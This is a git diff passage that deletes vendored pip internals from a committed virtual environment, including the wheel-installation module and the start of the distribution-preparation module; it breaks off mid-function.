-                f"# Editable {vcs_name} install ({display}) with either a deleted "
-                f"local remote or invalid URI:",
-                f"# '{ex.url}'",
-            ],
-        )
-    except BadCommand:
-        logger.warning(
-            "cannot determine version of editable source in %s "
-            "(%s command not found in path)",
-            location,
-            vcs_backend.name,
-        )
-        return _EditableInfo(requirement=location, comments=[])
-    except InstallationError as exc:
-        logger.warning("Error when trying to get requirement for VCS system %s", exc)
-    else:
-        return _EditableInfo(requirement=req, comments=[])
-
-    logger.warning("Could not determine repository location of %s", location)
-
-    return _EditableInfo(
-        requirement=location,
-        comments=["## !! Could not determine repository location"],
-    )
-
-
-@dataclass(frozen=True)
-class FrozenRequirement:
-    name: str
-    req: str
-    editable: bool
-    comments: Iterable[str] = field(default_factory=tuple)
-
-    @property
-    def canonical_name(self) -> NormalizedName:
-        return canonicalize_name(self.name)
-
-    @classmethod
-    def from_dist(cls, dist: BaseDistribution) -> FrozenRequirement:
-        editable = dist.editable
-        if editable:
-            req, comments = _get_editable_info(dist)
-        else:
-            comments = []
-            direct_url = dist.direct_url
-            if direct_url:
-                # if PEP 610 metadata is present, use it
-                req = direct_url_as_pep440_direct_reference(direct_url, dist.raw_name)
-            else:
-                # name==version requirement
-                req = _format_as_name_version(dist)
-
-        return cls(dist.raw_name, req, editable, comments=comments)
-
-    def __str__(self) -> str:
-        req = self.req
-        if self.editable:
-            req = f"-e {req}"
-        return "\n".join(list(self.comments) + [str(req)]) + "\n"
diff --git a/venv/Lib/site-packages/pip/_internal/operations/install/__init__.py b/venv/Lib/site-packages/pip/_internal/operations/install/__init__.py
deleted file mode 100644
index 2645a4acad087929da46b104ef09ce64cf4ca8d5..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/operations/install/__init__.py
+++ /dev/null
@@ -1 +0,0 @@
-"""For modules related to installing packages."""
diff --git a/venv/Lib/site-packages/pip/_internal/operations/install/wheel.py b/venv/Lib/site-packages/pip/_internal/operations/install/wheel.py
deleted file mode 100644
index c026005cb25c91f0a43acd0d0004d6b9034ec297..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/operations/install/wheel.py
+++ /dev/null
@@ -1,764 +0,0 @@
-"""Support for installing and building the "wheel" binary package format."""
-
-from __future__ import annotations
-
-import collections
-import compileall
-import contextlib
-import csv
-import importlib
-import logging
-import os.path
-import re
-import shutil
-import sys
-import textwrap
-import warnings
-from base64 import urlsafe_b64encode
-from collections.abc import Callable, Generator, Iterable, Iterator, Sequence
-from email.message import Message
-from itertools import chain, filterfalse, starmap
-from pathlib import Path
-from typing import (
-    IO,
-    Any,
-    BinaryIO,
-    NewType,
-    Protocol,
-    cast,
-)
-from zipfile import ZipFile, ZipInfo
-
-from pip._vendor.distlib.scripts import ScriptMaker
-from pip._vendor.distlib.util import get_export_entry
-from pip._vendor.packaging.utils import canonicalize_name
-
-from pip._internal.exceptions import InstallationError
-from pip._internal.locations import get_major_minor_version
-from pip._internal.metadata import (
-    BaseDistribution,
-    FilesystemWheel,
-    get_wheel_distribution,
-)
-from pip._internal.models.direct_url import DIRECT_URL_METADATA_NAME, DirectUrl
-from pip._internal.models.scheme import SCHEME_KEYS, Scheme
-from pip._internal.utils.filesystem import adjacent_tmp_file, replace
-from pip._internal.utils.misc import StreamWrapper, ensure_dir, hash_file, partition
-from pip._internal.utils.unpacking import (
-    current_umask,
-    is_within_directory,
-    set_extracted_file_to_default_mode_plus_executable,
-    zip_item_is_executable,
-)
-from pip._internal.utils.wheel import parse_wheel
-
-
-class File(Protocol):
-    src_record_path: RecordPath
-    dest_path: str
-    changed: bool
-
-    def save(self) -> None:
-        pass
-
-
-logger = logging.getLogger(__name__)
-
-RecordPath = NewType("RecordPath", str)
-InstalledCSVRow = tuple[RecordPath, str, int | str]
-
-
-def rehash(path: str, blocksize: int = 1 << 20) -> tuple[str, str]:
-    """Return (encoded_digest, length) for path using hashlib.sha256()"""
-    h, length = hash_file(path, blocksize)
-    digest = "sha256=" + urlsafe_b64encode(h.digest()).decode("latin1").rstrip("=")
-    return (digest, str(length))
-
-
-def csv_io_kwargs(mode: str) -> dict[str, Any]:
-    """Return keyword arguments to properly open a CSV file
-    in the given mode.
-    """
-    return {"mode": mode, "newline": "", "encoding": "utf-8"}
-
-
-def fix_script(path: str) -> bool:
-    """Replace #!python with #!/path/to/python
-    Return True if file was changed.
-    """
-    # XXX RECORD hashes will need to be updated
-    assert os.path.isfile(path)
-
-    with open(path, "rb") as script:
-        firstline = script.readline()
-        if not firstline.startswith(b"#!python"):
-            return False
-        exename = sys.executable.encode(sys.getfilesystemencoding())
-        firstline = b"#!" + exename + os.linesep.encode("ascii")
-        rest = script.read()
-    with open(path, "wb") as script:
-        script.write(firstline)
-        script.write(rest)
-    return True
-
-
-def wheel_root_is_purelib(metadata: Message) -> bool:
-    return metadata.get("Root-Is-Purelib", "").lower() == "true"
-
-
-def get_entrypoints(dist: BaseDistribution) -> tuple[dict[str, str], dict[str, str]]:
-    console_scripts = {}
-    gui_scripts = {}
-    for entry_point in dist.iter_entry_points():
-        if entry_point.group == "console_scripts":
-            console_scripts[entry_point.name] = entry_point.value
-        elif entry_point.group == "gui_scripts":
-            gui_scripts[entry_point.name] = entry_point.value
-    return console_scripts, gui_scripts
-
-
-def message_about_scripts_not_on_PATH(scripts: Sequence[str]) -> str | None:
-    """Determine if any scripts are not on PATH and format a warning.
-    Returns a warning message if one or more scripts are not on PATH,
-    otherwise None.
-    """
-    if not scripts:
-        return None
-
-    # Group scripts by the path they were installed in
-    grouped_by_dir: dict[Path, set[str]] = collections.defaultdict(set)
-    for destfile in scripts:
-        dest_path = Path(destfile)
-        parent_dir = dest_path.parent.resolve()
-        script_name = dest_path.name
-        grouped_by_dir[parent_dir].add(script_name)
-
-    # We don't want to warn for directories that are on PATH.
-    not_warn_dirs = [
-        Path(i).resolve() for i in os.environ.get("PATH", "").split(os.pathsep)
-    ]
-    # If an executable sits with sys.executable, we don't warn for it.
-    #     This covers the case of venv invocations without activating the venv.
-    not_warn_dirs.append(Path(sys.executable).parent.resolve())
-    warn_for: dict[Path, set[str]] = {
-        parent_dir: scripts
-        for parent_dir, scripts in grouped_by_dir.items()
-        if parent_dir not in not_warn_dirs
-    }
-    if not warn_for:
-        return None
-
-    # Format a message
-    msg_lines = []
-    for parent_dir, dir_scripts in warn_for.items():
-        sorted_scripts: list[str] = sorted(dir_scripts)
-        if len(sorted_scripts) == 1:
-            start_text = f"script {sorted_scripts[0]} is"
-        else:
-            start_text = "scripts {} are".format(
-                ", ".join(sorted_scripts[:-1]) + " and " + sorted_scripts[-1]
-            )
-
-        msg_lines.append(
-            f"The {start_text} installed in '{parent_dir}' which is not on PATH."
-        )
-
-    last_line_fmt = (
-        "Consider adding {} to PATH or, if you prefer "
-        "to suppress this warning, use --no-warn-script-location."
-    )
-    if len(msg_lines) == 1:
-        msg_lines.append(last_line_fmt.format("this directory"))
-    else:
-        msg_lines.append(last_line_fmt.format("these directories"))
-
-    # Add a note if any directory starts with ~
-    warn_for_tilde = any(
-        i[0] == "~" for i in os.environ.get("PATH", "").split(os.pathsep) if i
-    )
-    if warn_for_tilde:
-        tilde_warning_msg = (
-            "NOTE: The current PATH contains path(s) starting with `~`, "
-            "which may not be expanded by all applications."
-        )
-        msg_lines.append(tilde_warning_msg)
-
-    # Returns the formatted multiline message
-    return "\n".join(msg_lines)
-
-
-def _normalized_outrows(
-    outrows: Iterable[InstalledCSVRow],
-) -> list[tuple[str, str, str]]:
-    """Normalize the given rows of a RECORD file.
-
-    Items in each row are converted into str. Rows are then sorted to make
-    the value more predictable for tests.
-
-    Each row is a 3-tuple (path, hash, size) and corresponds to a record of
-    a RECORD file (see PEP 376 and PEP 427 for details).  For the rows
-    passed to this function, the size can be an integer as an int or string,
-    or the empty string.
-    """
-    # Normally, there should only be one row per path, in which case the
-    # second and third elements don't come into play when sorting.
-    # However, in cases in the wild where a path might happen to occur twice,
-    # we don't want the sort operation to trigger an error (but still want
-    # determinism).  Since the third element can be an int or string, we
-    # coerce each element to a string to avoid a TypeError in this case.
-    # For additional background, see--
-    # https://github.com/pypa/pip/issues/5868
-    return sorted(
-        (record_path, hash_, str(size)) for record_path, hash_, size in outrows
-    )
-
-
-def _record_to_fs_path(record_path: RecordPath, lib_dir: str) -> str:
-    return os.path.join(lib_dir, record_path)
-
-
-def _fs_to_record_path(path: str, lib_dir: str) -> RecordPath:
-    # On Windows, do not handle relative paths if they belong to different
-    # logical disks
-    if os.path.splitdrive(path)[0].lower() == os.path.splitdrive(lib_dir)[0].lower():
-        path = os.path.relpath(path, lib_dir)
-
-    path = path.replace(os.path.sep, "/")
-    return cast("RecordPath", path)
-
-
-def get_csv_rows_for_installed(
-    old_csv_rows: list[list[str]],
-    installed: dict[RecordPath, RecordPath],
-    changed: set[RecordPath],
-    generated: list[str],
-    lib_dir: str,
-) -> list[InstalledCSVRow]:
-    """
-    :param installed: A map from archive RECORD path to installation RECORD
-        path.
-    """
-    installed_rows: list[InstalledCSVRow] = []
-    for row in old_csv_rows:
-        if len(row) > 3:
-            logger.warning("RECORD line has more than three elements: %s", row)
-        old_record_path = cast("RecordPath", row[0])
-        new_record_path = installed.pop(old_record_path, old_record_path)
-        if new_record_path in changed:
-            digest, length = rehash(_record_to_fs_path(new_record_path, lib_dir))
-        else:
-            digest = row[1] if len(row) > 1 else ""
-            length = row[2] if len(row) > 2 else ""
-        installed_rows.append((new_record_path, digest, length))
-    for f in generated:
-        path = _fs_to_record_path(f, lib_dir)
-        digest, length = rehash(f)
-        installed_rows.append((path, digest, length))
-    return installed_rows + [
-        (installed_record_path, "", "") for installed_record_path in installed.values()
-    ]
-
-
-def get_console_script_specs(console: dict[str, str]) -> list[str]:
-    """
-    Given the mapping from entrypoint name to callable, return the relevant
-    console script specs.
-    """
-    # Don't mutate caller's version
-    console = console.copy()
-
-    scripts_to_generate = []
-
-    # Special case pip and setuptools to generate versioned wrappers
-    #
-    # The issue is that some projects (specifically, pip and setuptools) use
-    # code in setup.py to create "versioned" entry points - pip2.7 on Python
-    # 2.7, pip3.3 on Python 3.3, etc. But these entry points are baked into
-    # the wheel metadata at build time, and so if the wheel is installed with
-    # a *different* version of Python the entry points will be wrong. The
-    # correct fix for this is to enhance the metadata to be able to describe
-    # such versioned entry points.
-    # Currently, projects using versioned entry points will either have
-    # incorrect versioned entry points, or they will not be able to distribute
-    # "universal" wheels (i.e., they will need a wheel per Python version).
-    #
-    # Because setuptools and pip are bundled with _ensurepip and virtualenv,
-    # we need to use universal wheels. As a workaround, we
-    # override the versioned entry points in the wheel and generate the
-    # correct ones.
-    #
-    # To add the level of hack in this section of code, in order to support
-    # ensurepip this code will look for an ``ENSUREPIP_OPTIONS`` environment
-    # variable which will control which version scripts get installed.
-    #
-    # ENSUREPIP_OPTIONS=altinstall
-    #   - Only pipX.Y and easy_install-X.Y will be generated and installed
-    # ENSUREPIP_OPTIONS=install
-    #   - pipX.Y, pipX, easy_install-X.Y will be generated and installed. Note
-    #     that this option is technically if ENSUREPIP_OPTIONS is set and is
-    #     not altinstall
-    # DEFAULT
-    #   - The default behavior is to install pip, pipX, pipX.Y, easy_install
-    #     and easy_install-X.Y.
-    pip_script = console.pop("pip", None)
-    if pip_script:
-        if "ENSUREPIP_OPTIONS" not in os.environ:
-            scripts_to_generate.append("pip = " + pip_script)
-
-        if os.environ.get("ENSUREPIP_OPTIONS", "") != "altinstall":
-            scripts_to_generate.append(f"pip{sys.version_info[0]} = {pip_script}")
-
-        scripts_to_generate.append(f"pip{get_major_minor_version()} = {pip_script}")
-        # Delete any other versioned pip entry points
-        pip_ep = [k for k in console if re.match(r"pip(\d+(\.\d+)?)?$", k)]
-        for k in pip_ep:
-            del console[k]
-    easy_install_script = console.pop("easy_install", None)
-    if easy_install_script:
-        if "ENSUREPIP_OPTIONS" not in os.environ:
-            scripts_to_generate.append("easy_install = " + easy_install_script)
-
-        scripts_to_generate.append(
-            f"easy_install-{get_major_minor_version()} = {easy_install_script}"
-        )
-        # Delete any other versioned easy_install entry points
-        easy_install_ep = [
-            k for k in console if re.match(r"easy_install(-\d+\.\d+)?$", k)
-        ]
-        for k in easy_install_ep:
-            del console[k]
-
-    # Generate the console entry points specified in the wheel
-    scripts_to_generate.extend(starmap("{} = {}".format, console.items()))
-
-    return scripts_to_generate
-
-
-class ZipBackedFile:
-    def __init__(
-        self, src_record_path: RecordPath, dest_path: str, zip_file: ZipFile
-    ) -> None:
-        self.src_record_path = src_record_path
-        self.dest_path = dest_path
-        self._zip_file = zip_file
-        self.changed = False
-
-    def _getinfo(self) -> ZipInfo:
-        return self._zip_file.getinfo(self.src_record_path)
-
-    def save(self) -> None:
-        # When we open the output file below, any existing file is truncated
-        # before we start writing the new contents. This is fine in most
-        # cases, but can cause a segfault if pip has loaded a shared
-        # object (e.g. from pyopenssl through its vendored urllib3)
-        # Since the shared object is mmap'd an attempt to call a
-        # symbol in it will then cause a segfault. Unlinking the file
-        # allows writing of new contents while allowing the process to
-        # continue to use the old copy.
-        if os.path.exists(self.dest_path):
-            os.unlink(self.dest_path)
-
-        zipinfo = self._getinfo()
-
-        # optimization: the file is created by open(),
-        # skip the decompression when there is 0 bytes to decompress.
-        with open(self.dest_path, "wb") as dest:
-            if zipinfo.file_size > 0:
-                with self._zip_file.open(zipinfo) as f:
-                    blocksize = min(zipinfo.file_size, 1024 * 1024)
-                    shutil.copyfileobj(f, dest, blocksize)
-
-        if zip_item_is_executable(zipinfo):
-            set_extracted_file_to_default_mode_plus_executable(self.dest_path)
-
-
-class ScriptFile:
-    def __init__(self, file: File) -> None:
-        self._file = file
-        self.src_record_path = self._file.src_record_path
-        self.dest_path = self._file.dest_path
-        self.changed = False
-
-    def save(self) -> None:
-        self._file.save()
-        self.changed = fix_script(self.dest_path)
-
-
-class MissingCallableSuffix(InstallationError):
-    def __init__(self, entry_point: str) -> None:
-        super().__init__(
-            f"Invalid script entry point: {entry_point} - A callable "
-            "suffix is required. See https://packaging.python.org/"
-            "specifications/entry-points/#use-for-scripts for more "
-            "information."
-        )
-
-
-def _raise_for_invalid_entrypoint(specification: str, scripts_dir: str) -> None:
-    entry = get_export_entry(specification)
-    if entry is None:
-        return
-
-    if entry.suffix is None:
-        raise MissingCallableSuffix(str(entry))
-
-    # distlib joins the entry point name onto the scripts directory, so a name
-    # with path separators or ``..`` components can resolve elsewhere. The script
-    # must resolve to a path strictly inside the scripts directory.
-    dest = os.path.join(scripts_dir, entry.name)
-    resolves_to_scripts_dir = os.path.abspath(dest) == os.path.abspath(scripts_dir)
-    if resolves_to_scripts_dir or not is_within_directory(scripts_dir, dest):
-        raise InstallationError(
-            f"Invalid script entry point name {entry.name!r}: the script "
-            f"would be installed outside the scripts directory ({scripts_dir})."
-        )
-
-
-class PipScriptMaker(ScriptMaker):
-    # Override distlib's default script template with one that
-    # doesn't import `re` module, allowing scripts to load faster.
-    script_template = textwrap.dedent("""\
-        import sys
-        from %(module)s import %(import_name)s
-        if __name__ == '__main__':
-            sys.argv[0] = sys.argv[0].removesuffix('.exe')
-            sys.exit(%(func)s())
-""")
-
-    def make(
-        self, specification: str, options: dict[str, Any] | None = None
-    ) -> list[str]:
-        _raise_for_invalid_entrypoint(specification, self.target_dir)
-        return super().make(specification, options)
-
-
-def _install_wheel(  # noqa: C901, PLR0915 function is too long
-    name: str,
-    wheel_zip: ZipFile,
-    wheel_path: str,
-    scheme: Scheme,
-    pycompile: bool = True,
-    warn_script_location: bool = True,
-    direct_url: DirectUrl | None = None,
-    requested: bool = False,
-    script_executable: str | None = None,
-) -> None:
-    """Install a wheel.
-
-    :param name: Name of the project to install
-    :param wheel_zip: open ZipFile for wheel being installed
-    :param scheme: Distutils scheme dictating the install directories
-    :param req_description: String used in place of the requirement, for
-        logging
-    :param pycompile: Whether to byte-compile installed Python files
-    :param warn_script_location: Whether to check that scripts are installed
-        into a directory on PATH
-    :param script_executable: Python executable to use for console scripts
-    :raises UnsupportedWheel:
-        * when the directory holds an unpacked wheel with incompatible
-          Wheel-Version
-        * when the .dist-info dir does not match the wheel
-    """
-    info_dir, metadata = parse_wheel(wheel_zip, name)
-
-    if wheel_root_is_purelib(metadata):
-        lib_dir = scheme.purelib
-    else:
-        lib_dir = scheme.platlib
-
-    # Record details of the files moved
-    #   installed = files copied from the wheel to the destination
-    #   changed = files changed while installing (scripts #! line typically)
-    #   generated = files newly generated during the install (script wrappers)
-    installed: dict[RecordPath, RecordPath] = {}
-    changed: set[RecordPath] = set()
-    generated: list[str] = []
-
-    def record_installed(
-        srcfile: RecordPath, destfile: str, modified: bool = False
-    ) -> None:
-        """Map archive RECORD paths to installation RECORD paths."""
-        newpath = _fs_to_record_path(destfile, lib_dir)
-        installed[srcfile] = newpath
-        if modified:
-            changed.add(newpath)
-
-    def is_dir_path(path: RecordPath) -> bool:
-        return path.endswith("/")
-
-    def assert_no_path_traversal(dest_dir_path: str, target_path: str) -> None:
-        if not is_within_directory(dest_dir_path, target_path):
-            message = (
-                "The wheel {!r} has a file {!r} trying to install"
-                " outside the target directory {!r}"
-            )
-            raise InstallationError(
-                message.format(wheel_path, target_path, dest_dir_path)
-            )
-
-    def root_scheme_file_maker(
-        zip_file: ZipFile, dest: str
-    ) -> Callable[[RecordPath], File]:
-        def make_root_scheme_file(record_path: RecordPath) -> File:
-            normed_path = os.path.normpath(record_path)
-            dest_path = os.path.join(dest, normed_path)
-            assert_no_path_traversal(dest, dest_path)
-            return ZipBackedFile(record_path, dest_path, zip_file)
-
-        return make_root_scheme_file
-
-    def data_scheme_file_maker(
-        zip_file: ZipFile, scheme: Scheme
-    ) -> Callable[[RecordPath], File]:
-        scheme_paths = {key: getattr(scheme, key) for key in SCHEME_KEYS}
-
-        def make_data_scheme_file(record_path: RecordPath) -> File:
-            normed_path = os.path.normpath(record_path)
-            try:
-                _, scheme_key, dest_subpath = normed_path.split(os.path.sep, 2)
-            except ValueError:
-                message = (
-                    f"Unexpected file in {wheel_path}: {record_path!r}. .data directory"
-                    " contents should be named like: '/'."
-                )
-                raise InstallationError(message)
-
-            try:
-                scheme_path = scheme_paths[scheme_key]
-            except KeyError:
-                valid_scheme_keys = ", ".join(sorted(scheme_paths))
-                message = (
-                    f"Unknown scheme key used in {wheel_path}: {scheme_key} "
-                    f"(for file {record_path!r}). .data directory contents "
-                    f"should be in subdirectories named with a valid scheme "
-                    f"key ({valid_scheme_keys})"
-                )
-                raise InstallationError(message)
-
-            dest_path = os.path.join(scheme_path, dest_subpath)
-            assert_no_path_traversal(scheme_path, dest_path)
-            return ZipBackedFile(record_path, dest_path, zip_file)
-
-        return make_data_scheme_file
-
-    def is_data_scheme_path(path: RecordPath) -> bool:
-        return path.split("/", 1)[0].endswith(".data")
-
-    paths = cast(list[RecordPath], wheel_zip.namelist())
-    file_paths = filterfalse(is_dir_path, paths)
-    root_scheme_paths, data_scheme_paths = partition(is_data_scheme_path, file_paths)
-
-    make_root_scheme_file = root_scheme_file_maker(wheel_zip, lib_dir)
-    files: Iterator[File] = map(make_root_scheme_file, root_scheme_paths)
-
-    def is_script_scheme_path(path: RecordPath) -> bool:
-        parts = path.split("/", 2)
-        return len(parts) > 2 and parts[0].endswith(".data") and parts[1] == "scripts"
-
-    other_scheme_paths, script_scheme_paths = partition(
-        is_script_scheme_path, data_scheme_paths
-    )
-
-    make_data_scheme_file = data_scheme_file_maker(wheel_zip, scheme)
-    other_scheme_files = map(make_data_scheme_file, other_scheme_paths)
-    files = chain(files, other_scheme_files)
-
-    # Get the defined entry points
-    distribution = get_wheel_distribution(
-        FilesystemWheel(wheel_path),
-        canonicalize_name(name),
-    )
-    console, gui = get_entrypoints(distribution)
-
-    def is_entrypoint_wrapper(file: File) -> bool:
-        # EP, EP.exe and EP-script.py are scripts generated for
-        # entry point EP by setuptools
-        path = file.dest_path
-        name = os.path.basename(path)
-        if name.lower().endswith(".exe"):
-            matchname = name[:-4]
-        elif name.lower().endswith("-script.py"):
-            matchname = name[:-10]
-        elif name.lower().endswith(".pya"):
-            matchname = name[:-4]
-        else:
-            matchname = name
-        # Ignore setuptools-generated scripts
-        return matchname in console or matchname in gui
-
-    script_scheme_files: Iterator[File] = map(
-        make_data_scheme_file, script_scheme_paths
-    )
-    script_scheme_files = filterfalse(is_entrypoint_wrapper, script_scheme_files)
-    script_scheme_files = map(ScriptFile, script_scheme_files)
-    files = chain(files, script_scheme_files)
-
-    existing_parents = set()
-    for file in files:
-        # directory creation is lazy and after file filtering
-        # to ensure we don't install empty dirs; empty dirs can't be
-        # uninstalled.
-        parent_dir = os.path.dirname(file.dest_path)
-        if parent_dir not in existing_parents:
-            ensure_dir(parent_dir)
-            existing_parents.add(parent_dir)
-        file.save()
-        record_installed(file.src_record_path, file.dest_path, file.changed)
-
-    def pyc_source_file_paths() -> Generator[str, None, None]:
-        # We de-duplicate installation paths, since there can be overlap (e.g.
-        # file in .data maps to same location as file in wheel root).
-        # Sorting installation paths makes it easier to reproduce and debug
-        # issues related to permissions on existing files.
-        for installed_path in sorted(set(installed.values())):
-            full_installed_path = os.path.join(lib_dir, installed_path)
-            if not os.path.isfile(full_installed_path):
-                continue
-            if not full_installed_path.endswith(".py"):
-                continue
-            yield full_installed_path
-
-    def pyc_output_path(path: str) -> str:
-        """Return the path the pyc file would have been written to."""
-        return importlib.util.cache_from_source(path)
-
-    # Compile all of the pyc files for the installed files
-    if pycompile:
-        with contextlib.redirect_stdout(
-            StreamWrapper.from_stream(sys.stdout)
-        ) as stdout:
-            with warnings.catch_warnings():
-                warnings.filterwarnings("ignore")
-                for path in pyc_source_file_paths():
-                    success = compileall.compile_file(path, force=True, quiet=True)
-                    if success:
-                        pyc_path = pyc_output_path(path)
-                        assert os.path.exists(pyc_path)
-                        pyc_record_path = cast(
-                            "RecordPath", pyc_path.replace(os.path.sep, "/")
-                        )
-                        record_installed(pyc_record_path, pyc_path)
-        logger.debug(stdout.getvalue())
-
-    maker = PipScriptMaker(None, scheme.scripts)
-
-    # Embed the target environment's interpreter in console-script launchers
-    # rather than the one running pip, so an in-process install into another
-    # environment (e.g. a venv build environment) produces working launchers.
-    if script_executable is not None:
-        maker.executable = script_executable  # type: ignore  # it's untyped in distlib
-
-    # Ensure old scripts are overwritten.
-    # See https://github.com/pypa/pip/issues/1800
-    maker.clobber = True
-
-    # Ensure we don't generate any variants for scripts because this is almost
-    # never what somebody wants.
-    # See https://bitbucket.org/pypa/distlib/issue/35/
-    maker.variants = {""}
-
-    # This is required because otherwise distlib creates scripts that are not
-    # executable.
-    # See https://bitbucket.org/pypa/distlib/issue/32/
-    maker.set_mode = True
-
-    # Generate the console and GUI entry points specified in the wheel
-    scripts_to_generate = get_console_script_specs(console)
-
-    gui_scripts_to_generate = list(starmap("{} = {}".format, gui.items()))
-
-    generated_console_scripts = maker.make_multiple(scripts_to_generate)
-    generated.extend(generated_console_scripts)
-
-    generated.extend(maker.make_multiple(gui_scripts_to_generate, {"gui": True}))
-
-    if warn_script_location:
-        msg = message_about_scripts_not_on_PATH(generated_console_scripts)
-        if msg is not None:
-            logger.warning(msg)
-
-    generated_file_mode = 0o666 & ~current_umask()
-
-    @contextlib.contextmanager
-    def _generate_file(path: str, **kwargs: Any) -> Generator[BinaryIO, None, None]:
-        with adjacent_tmp_file(path, **kwargs) as f:
-            yield f
-        os.chmod(f.name, generated_file_mode)
-        replace(f.name, path)
-
-    dest_info_dir = os.path.join(lib_dir, info_dir)
-
-    # Record pip as the installer
-    installer_path = os.path.join(dest_info_dir, "INSTALLER")
-    with _generate_file(installer_path) as installer_file:
-        installer_file.write(b"pip\n")
-    generated.append(installer_path)
-
-    # Record the PEP 610 direct URL reference
-    if direct_url is not None:
-        direct_url_path = os.path.join(dest_info_dir, DIRECT_URL_METADATA_NAME)
-        with _generate_file(direct_url_path) as direct_url_file:
-            direct_url_file.write(direct_url.to_json().encode("utf-8"))
-        generated.append(direct_url_path)
-
-    # Record the REQUESTED file
-    if requested:
-        requested_path = os.path.join(dest_info_dir, "REQUESTED")
-        with open(requested_path, "wb"):
-            pass
-        generated.append(requested_path)
-
-    record_text = distribution.read_text("RECORD")
-    record_rows = list(csv.reader(record_text.splitlines()))
-
-    rows = get_csv_rows_for_installed(
-        record_rows,
-        installed=installed,
-        changed=changed,
-        generated=generated,
-        lib_dir=lib_dir,
-    )
-
-    # Record details of all files installed
-    record_path = os.path.join(dest_info_dir, "RECORD")
-
-    with _generate_file(record_path, **csv_io_kwargs("w")) as record_file:
-        # Explicitly cast to typing.IO[str] as a workaround for the mypy error:
-        # "writer" has incompatible type "BinaryIO"; expected "_Writer"
-        writer = csv.writer(cast("IO[str]", record_file))
-        writer.writerows(_normalized_outrows(rows))
-
-
-@contextlib.contextmanager
-def req_error_context(req_description: str) -> Generator[None, None, None]:
-    try:
-        yield
-    except InstallationError as e:
-        message = f"For req: {req_description}. {e.args[0]}"
-        raise InstallationError(message) from e
-
-
-def install_wheel(
-    name: str,
-    wheel_path: str,
-    scheme: Scheme,
-    req_description: str,
-    pycompile: bool = True,
-    warn_script_location: bool = True,
-    direct_url: DirectUrl | None = None,
-    requested: bool = False,
-    script_executable: str | None = None,
-) -> None:
-    with ZipFile(wheel_path, allowZip64=True) as z:
-        with req_error_context(req_description):
-            _install_wheel(
-                name=name,
-                wheel_zip=z,
-                wheel_path=wheel_path,
-                scheme=scheme,
-                pycompile=pycompile,
-                warn_script_location=warn_script_location,
-                direct_url=direct_url,
-                requested=requested,
-                script_executable=script_executable,
-            )
diff --git a/venv/Lib/site-packages/pip/_internal/operations/prepare.py b/venv/Lib/site-packages/pip/_internal/operations/prepare.py
deleted file mode 100644
index 34a07a18e327c090c37ec02852e7507a795dd48f..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/operations/prepare.py
+++ /dev/null
@@ -1,896 +0,0 @@
-"""Prepares a distribution for installation"""
-
-# The following comment should be removed at some point in the future.
-# mypy: strict-optional=False
-from __future__ import annotations
-
-import mimetypes
-import os
-import shutil
-from collections.abc import Iterable
-from dataclasses import dataclass
-from pathlib import Path
-from typing import TYPE_CHECKING
-
-from pip._vendor.packaging.requirements import InvalidRequirement
-from pip._vendor.packaging.utils import canonicalize_name
-
-from pip._internal.build_env import BuildEnvironmentInstaller, BuildIsolationMode
-from pip._internal.distributions import make_distribution_for_install_requirement
-from pip._internal.distributions.installed import InstalledDistribution
-from pip._internal.exceptions import (
-    DirectoryUrlHashUnsupported,
-    HashMismatch,
-    HashUnpinned,
-    InstallationError,
-    MetadataInconsistent,
-    MetadataInvalid,
-    NetworkConnectionError,
-    SidecarMetadataInconsistent,
-    VcsHashUnsupported,
-)
-from pip._internal.index.package_finder import PackageFinder
-from pip._internal.metadata import BaseDistribution, get_metadata_distribution
-from pip._internal.models.direct_url import ArchiveInfo, DirectUrl
-from pip._internal.models.link import Link, join_within_directory
-from pip._internal.models.wheel import Wheel
-from pip._internal.network.download import Downloader
-from pip._internal.network.lazy_wheel import (
-    HTTPRangeRequestUnsupported,
-    dist_from_wheel_url,
-)
-from pip._internal.network.session import PipSession
-from pip._internal.operations.build.build_tracker import BuildTracker
-from pip._internal.req.req_install import InstallRequirement
-from pip._internal.utils._log import getLogger
-from pip._internal.utils.direct_url_helpers import (
-    direct_url_for_editable,
-    direct_url_from_link,
-)
-from pip._internal.utils.hashes import Hashes, MissingHashes
-from pip._internal.utils.logging import indent_log
-from pip._internal.utils.misc import (
-    display_path,
-    hash_file,
-    hide_url,
-    redact_auth_from_requirement,
-)
-from pip._internal.utils.packaging import get_requirement
-from pip._internal.utils.temp_dir import TempDirectory
-from pip._internal.utils.unpacking import unpack_file
-from pip._internal.vcs import vcs
-
-if TYPE_CHECKING:
-    from pip._internal.cli.progress_bars import BarType
-
-logger = getLogger(__name__)
-
-
-def _get_prepared_distribution(
-    req: InstallRequirement,
-    build_tracker: BuildTracker,
-    build_env_installer: BuildEnvironmentInstaller,
-    build_isolation: BuildIsolationMode,
-    check_build_deps: bool,
-    allow_editables: bool,
-) -> BaseDistribution:
-    """Prepare a distribution for installation."""
-    abstract_dist = make_distribution_for_install_requirement(req)
-    tracker_id = abstract_dist.build_tracker_id
-    if tracker_id is not None:
-        with build_tracker.track(req, tracker_id):
-            abstract_dist.prepare_distribution_metadata(
-                build_env_installer, build_isolation, check_build_deps, allow_editables
-            )
-    return abstract_dist.get_metadata_distribution()
-
-
-def unpack_vcs_link(link: Link, location: str, verbosity: int) -> None:
-    vcs_backend = vcs.get_backend_for_scheme(link.scheme)
-    assert vcs_backend is not None
-    vcs_backend.unpack(location, url=hide_url(link.url), verbosity=verbosity)
-
-
-@dataclass
-class File:
-    path: str
-    content_type: str | None = None
-
-    def __post_init__(self) -> None:
-        if self.content_type is None:
-            # Try to guess the file's MIME type. If the system MIME tables
-            # can't be loaded, give up.
-            try:
-                self.content_type = mimetypes.guess_type(self.path)[0]
-            except OSError:
-                pass
-
-
-def get_http_url(
-    link: Link,
-    download: Downloader,
-    download_dir: str | None = None,
-    hashes: Hashes | None = None,
-) -> File:
-    temp_dir = TempDirectory(kind="unpack", globally_managed=True)
-    # If a download dir is specified, is the file already downloaded there?
-    already_downloaded_path = None
-    if download_dir:
-        already_downloaded_path = _check_download_dir(link, download_dir, hashes)
-
-    if already_downloaded_path:
-        from_path = already_downloaded_path
-        content_type = None
-    else:
-        # let's download to a tmp dir
-        from_path, content_type = download(link, temp_dir.path)
-        if hashes:
-            hashes.check_against_path(from_path)
-
-    return File(from_path, content_type)
-
-
-def get_file_url(
-    link: Link, download_dir: str | None = None, hashes: Hashes | None = None
-) -> File:
-    """Get file and optionally check its hash."""
-    # If a download dir is specified, is the file already there and valid?
